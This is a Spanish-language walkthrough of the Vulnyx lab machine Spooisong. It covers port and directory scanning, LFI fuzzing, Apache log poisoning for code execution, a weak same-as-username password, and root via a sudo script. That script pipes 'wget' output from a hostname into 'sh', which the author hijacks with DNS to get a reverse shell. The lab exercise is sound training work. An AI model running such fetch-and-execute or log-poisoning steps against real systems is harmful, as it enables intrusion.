Spooisong es una de las maquinas existentes actualmente en la plataforma de hacking Vulnyx y es de dificultad Medium.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la ip que tiene la maquina a vulnerar, que en mi caso será la 192.168.0.233
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.233 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 01:39 CEST Initiating ARP Ping Scan at 01:39 Scanning 192.168.0.233 [1 port] Completed ARP Ping Scan at 01:39, 0.07s elapsed (1 total hosts) Initiating SYN Stealth Scan at 01:39 Scanning 192.168.0.233 [65535 ports] Discovered open port 80/tcp on 192.168.0.233 Completed SYN Stealth Scan at 01:39, 2.59s elapsed (65535 total ports) Nmap scan report for 192.168.0.233 Host is up, received arp-response (0.00016s latency). Scanned at 2024-09-04 01:39:11 CEST for 3s Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:6A:4F:25 (Oracle VirtualBox virtual NIC) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 2.79 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
┌──(kali㉿kali)-[~] └─$ nmap -p80 -sCV 192.168.0.233 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 01:39 CEST Nmap scan report for 192.168.0.233 Host is up (0.00048s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: Site doesn't have a title (text/html). | http-robots.txt: 1 disallowed entry |_/kavin |_http-server-header: Apache/2.4.62 (Debian) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.24 seconds |
Como solo tenemos el puerto 80 abierto, con feroxbuster vamos a ver que nos encontramos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
┌──(kali㉿kali)-[~] └─$ feroxbuster --url http://192.168.0.233 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -f ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.3 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.0.233 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.3 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php] 🏁 HTTP methods │ [GET] 🪓 Add Slash │ true 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 7l 28w 187c http://192.168.0.233/ 200 GET 196l 555w 5169c http://192.168.0.233/kavin/js/jquery.fancybox-media.js 200 GET 137l 913w 8987c http://192.168.0.233/kavin/js/custom.js 200 GET 3l 1249w 92855c http://192.168.0.233/kavin/js/jquery.js 200 GET 406l 1935w 152836c http://192.168.0.233/kavin/img/service1.jpg 200 GET 903l 3756w 41110c http://192.168.0.233/kavin/js/jquery.flexslider.js 200 GET 423l 1993w 166162c http://192.168.0.233/kavin/img/service3.jpg 200 GET 106l 284w 2633c http://192.168.0.233/kavin/js/validate.js 200 GET 87l 696w 56140c http://192.168.0.233/kavin/img/team4.jpg 200 GET 172l 975w 76484c http://192.168.0.233/kavin/img/team3.jpg 200 GET 149l 945w 78813c http://192.168.0.233/kavin/img/team2.jpg 200 GET 96l 675w 54907c http://192.168.0.233/kavin/img/team1.jpg 200 GET 343l 1102w 13669c http://192.168.0.233/kavin/about.php 200 GET 244l 624w 8583c http://192.168.0.233/kavin/pricing.php 200 GET 231l 1255w 124483c http://192.168.0.233/kavin/img/works/1.jpg 200 GET 310l 1714w 148784c http://192.168.0.233/kavin/img/works/6.jpg 200 GET 208l 983w 88627c http://192.168.0.233/kavin/img/works/7.jpg 200 GET 451l 2821w 289638c http://192.168.0.233/kavin/img/works/2.jpg 200 GET 243l 1151w 121052c http://192.168.0.233/kavin/img/works/5.jpg 200 GET 249l 1489w 143727c http://192.168.0.233/kavin/img/works/4.jpg 200 GET 330l 650w 5654c http://192.168.0.233/kavin/css/fancybox/jquery.fancybox.css 200 GET 307l 1146w 14697c http://192.168.0.233/kavin/js/portfolio/jquery.quicksand.js 200 GET 205l 1368w 8097c http://192.168.0.233/kavin/js/jquery.easing.1.3.js [>-------------------] - 7s 18830/1543877 10m found:39 errors:0 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_0_233-1725406855.state ... [>-------------------] - 7s 18878/1543877 10m found:39 errors:0 [>-------------------] - 7s 4742/220546 662/s http://192.168.0.233/ => Wildcard dir! stopped recursion [>-------------------] - 7s 3168/220546 445/s http://192.168.0.233/kavin/ => Wildcard dir! stopped recursion [>-------------------] - 5s 1450/220546 276/s http://192.168.0.233/kavin/img/ => Wildcard dir! stopped recursion [>-------------------] - 3s 274/220546 92/s http://192.168.0.233/kavin/js/ => Wildcard dir! stopped recursion [>-------------------] - 0s 705/220546 1549/s http://192.168.0.233/kavin/fonts/ => Wildcard dir! stopped recursion |
Viendo que parece que el directorio kavin contiene la web, entramos.

Con el simple hecho de hacer hovering por las diferentes opciones, «about us», «services», etc, podemos ver que tiene un parámetro que llama a lo que parece otro archivo para incluirlo.

Lanzamos con ffuf un diccionario para ver si es vulnerable a LFI.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
┌──(kali㉿kali)-[~] └─$ ffuf -u "http://192.168.0.233/kavin/inc.php?i=FUZZ" -w LFI-Jhaddix.txt -fs 0 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://192.168.0.233/kavin/inc.php?i=FUZZ :: Wordlist : FUZZ: /home/kali/LFI-Jhaddix.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 0 ________________________________________________ /etc/security/limits [Status: 200, Size: 2752, Words: 835, Lines: 68, Duration: 1ms] /etc/security/group [Status: 200, Size: 3635, Words: 690, Lines: 107, Duration: 3ms] :: Progress: [922/922] :: Job [1/1] :: 45 req/sec :: Duration: [0:00:04] :: Errors: 0 :: |
Vemos los archivos limits y grupo, pero lo extraño que vemos es que deberían de tener la extensión .conf pero los ha podido leer sin necesidad de ello.
|
1 2 3 4 |
┌──(kali㉿kali)-[~] └─$ ls -l /etc/security/[lg]* -rw-r--r-- 1 root root 3635 Apr 26 2022 /etc/security/group.conf -rw-r--r-- 1 root root 2752 Aug 17 2023 /etc/security/limits.conf |
Por otro lado, hemos visto con feroxbuster que existen paginas php, por ejemplo pricing.php, las cuales confirmamos que se incluyen a través del parámetro desde inc.php

¿Qué tienen en común estos dos casos? No se ha tenido que pasar la extensión, pero por el momento no vemos nada mas, así que de forma manual vamos a buscar en apache.
Encontramos que esta entre directivas por defecto, vemos que existen logs en la carpeta kavin-logs, así que vemos a intentar leerlos, pero recordemos que siguiendo lo visto, debería de ser sin la extensión.

Y podemos ver log logs! En lo primero que pensamos es que vamos a poder hacer un log poisoning.

Enviamos en el user-agent una inyección de php.

Ahora leemos y deberíamos de ver que usuario somos.

Por lo tanto, vemos que tenemos RCE como www-data, lo próximo será poder ingresar en la maquina victima, repetiremos lo mismo pero con lo siguiente.


Entramos como www-data y vemos que existe 1 usuario adicional aparte de root.
|
1 2 3 4 |
www-data@spooisong:/var/www/html/kavin$ id;cat /etc/passwd|grep sh$ uid=33(www-data) gid=33(www-data) groups=33(www-data) root:x:0:0:root:/root:/bin/bash suraxddq:x:1000:1000:suraxddq:/home/suraxddq:/bin/bash |
Tras comprobar con linpea, pspy64 , suForce y demás, no vemos nada, por lo que probamos a impersonar el usuario y poner como contraseña el nombre del mismo.
|
1 2 3 4 |
www-data@spooisong:/tmp$ su suraxddq Password: suraxddq@spooisong:/tmp$ id uid=1000(suraxddq) gid=1000(suraxddq) grupos=1000(suraxddq) |
Escalamos al usuario suraxddq ( 😀 ) , y lo primero que hacemos es ver si tenemos algún privilegio con sudo, lo cual si vemos uno.
|
1 2 3 4 5 6 7 8 |
suraxddq@spooisong:/tmp$ sudo -l Matching Defaults entries for suraxddq on spooisong: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User suraxddq may run the following commands on spooisong: (root) NOPASSWD: /var/backups/dns |
El fichero dns tiene el siguiente código, va a intentar hacerle una petición a sp00is0ng.nyx.nyx , recurso configure y ejecutarlo con sh.
|
1 2 3 4 |
suraxddq@spooisong:/tmp$ cat /var/backups/dns #!/bin/bash /usr/bin/wget -O- "http://sp00is0ng.nyx/configure" | /usr/bin/sh |
Si intentamos ejecutarlo , nos dice lo siguiente
|
1 2 3 4 |
suraxddq@spooisong:/tmp$ sudo /var/backups/dns --2024-09-03 23:48:53-- http://sp00is0ng.nyx/configure Resolviendo sp00is0ng.nyx (sp00is0ng.nyx)... falló: Nombre o servicio desconocido. wget: no se pudo resolver la dirección del equipo «sp00is0ng.nyx» |
Buscando si existe algún fichero que referencie el dominio o que podamos escribir, no vemos ninguno, pero como tenemos en «poder» el DNS de la maquina, creamos el dominio apuntando a nuestra maquina para que cuando intente resolver el mismo, nos haga la petición a nosotros.

Volvemos a lanzar el script y tras crear un fichero llamado configure con una reverse shell, deberíamos de recibir la conexión.

Somos root!
Hasta aquí la maquina Spooisong de Vulnyx.









